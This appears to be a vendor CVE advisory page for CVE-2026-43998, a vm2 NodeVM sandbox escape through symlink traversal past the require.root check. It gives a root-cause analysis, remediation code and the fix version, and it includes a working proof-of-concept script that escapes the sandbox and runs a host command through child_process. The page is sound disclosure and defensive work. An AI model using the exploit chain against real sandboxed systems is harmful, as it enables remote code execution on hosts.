NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-43998 — vm2

HIGH

CVE-2026-43998 is a high-severity (CVSS 8.5) CWE-59 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.

vm2: NodeVM require.root bypass via symlink traversal allows sandbox escape

Also known asGHSA-cp6g-6699-wx9c
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-43998.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk
0.00%0.45%0.90%1.35%0.3%0.7%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

899other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
vm2npm
1.2Mdownloads / week

Description

Summary

NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.

Severity

High (CVSS 3.1: 8.5)

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
  • Attack Complexity: High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments
  • Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
  • User Interaction: None
  • Scope: Changed — the vulnerability is in the sandbox boundary; impact is on the host system
  • Confidentiality Impact: High — arbitrary file read via host command execution
  • Integrity Impact: High — arbitrary command execution on the host
  • Availability Impact: High — arbitrary command execution on the host

Affected Component

  • lib/resolver-compat.js — CustomResolver.isPathAllowed() (line 53-60)
  • lib/resolver-compat.js — CustomResolver.loadJS() (line 62-66)
  • lib/filesystem.js — DefaultFileSystem.resolve() (line 8-10)

CWE

  • CWE-59: Improper Link Resolution Before File Access

Description

Root Cause: Check/Use Path Discrepancy

The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:

// lib/resolver-compat.js:53-60
isPathAllowed(filename) {
    return this.rootPaths === undefined || this.rootPaths.some(path => {
        if (!filename.startsWith(path)) return false;
        const len = path.length;
        if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
        return this.fs.isSeparator(filename[len]);
    });
}

The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():

// lib/filesystem.js:8-10
resolve(path) {
    return pa.resolve(path);
}

path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/node_modules/safe pointing to /outside/root/malicious resolves to /root/node_modules/safe — passing the prefix check.

However, the actual module loading uses Node's native require(), which does follow symlinks:

// lib/resolver-compat.js:62-66
loadJS(vm, mod, filename) {
    if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
    const m = this.hostRequire(filename);
    mod.exports = vm.readonly(m);
}

No Symlink Defenses Exist

A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:

// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;

Full Execution Chain

  1. Host creates NodeVM with require: { external: ['safe'], root: '/tmp/root', context: 'host' }
  2. A symlink exists: /tmp/root/node_modules/safe → /outside/root/vm2/ (e.g., via pnpm, npm link, or workspaces)
  3. Sandbox code calls require('safe')
  4. DefaultResolver.resolveFull() resolves to /tmp/root/node_modules/safe/index.js
  5. tryFile() calls this.fs.resolve(x) → path.resolve() → /tmp/root/node_modules/safe/index.js (symlink NOT followed)
  6. isPathAllowed() checks if path starts with /tmp/root/ → PASSES
  7. loadJS() detects context: 'host', calls this.hostRequire(filename)
  8. Node's require() follows the symlink, loads from /outside/root/vm2/index.js
  9. Module executes in host realm; exports proxied to sandbox
  10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with child_process)

Proof of Concept

const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');

// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });

// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');

const vm = new NodeVM({
  require: {
    external: ['safe'],
    root,
    context: 'host',
    builtin: [],       // no builtins allowed
  },
});

// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
  const { NodeVM } = require('safe');
  const inner = new NodeVM({ require: { builtin: ['child_process'] } });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'inner.js'
  );
`, path.join(root, 'vm.js'));

console.log(out.trim()); // prints host uid/gid — RCE achieved

Impact

  • Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.
  • Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.
  • Bypasses require.root entirely: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.
  • Common in production: pnpm (where ALL node_modules are symlinks), npm workspaces, and npm link all create the symlink conditions required for exploitation.
  • Silent failure: No error or warning is raised when a symlink traverses outside the root.

Recommended Remediation

Option 1: Dereference symlinks with fs.realpathSync before path validation (Preferred)

Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:

// lib/filesystem.js — add a realpath method
const fs = require('fs');

class DefaultFileSystem {
    resolve(path) {
        return pa.resolve(path);
    }

    realpath(path) {
        return fs.realpathSync(path);
    }
    // ... rest unchanged
}
// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it
isPathAllowed(filename) {
    let realFilename;
    try {
        realFilename = this.fs.realpath(filename);
    } catch (e) {
        return false; // file doesn't exist or can't be resolved
    }
    return this.rootPaths === undefined || this.rootPaths.some(path => {
        if (!realFilename.startsWith(path)) return false;
        const len = path.length;
        if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
        return this.fs.isSeparator(realFilename[len]);
    });
}

Also dereference root paths at construction time:

// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {
    const resolved = fsOpt.resolve(f);
    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }
}) : undefined;

Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.

Option 2: Validate the realpath in makeExtensionHandler / checkAccess

Add a realpath check at the enforcement point in Resolver.makeExtensionHandler:

makeExtensionHandler(vm, name) {
    return (mod, filename) => {
        filename = this.fs.resolve(filename);
        // Dereference symlinks before access check
        try {
            const realFilename = fs.realpathSync(filename);
            if (realFilename !== filename) {
                // Filename was a symlink — validate the real path too
                this.checkAccess(mod, realFilename);
            }
        } catch (e) {
            throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');
        }
        this.checkAccess(mod, filename);
        this[name](vm, mod, filename);
    };
}

Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvm2≥ 3.10.5&&< 3.11.03.11.0npm install vm2@3.11.0

Affected Products

1 product · 1 configurations
Application
vm2vm2_project
1 version
3.10.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-43998 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

vm2 NodeVM is vulnerable to require.root bypass via filesystem symlinks, enabling sandboxed code to load arbitrary host-realm modules. An attacker with low privileges who can run code in a NodeVM with require restrictions and symlink-accessible paths may achieve remote code execution. Fixed in vm2 3.11.0.

ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.1ansible-automation-platform/automation-portal:1785854226RHSA-2026:50850

Frequently Asked Questions

## Summary NodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. ## Severity **High** (CVSS 3.1: 8.5) `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — sandboxed code is typically received from external source
O3 Security · Impact-Aware SCA

Is CVE-2026-43998 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-43998: vm2 RCE — Fixed in 3.11.0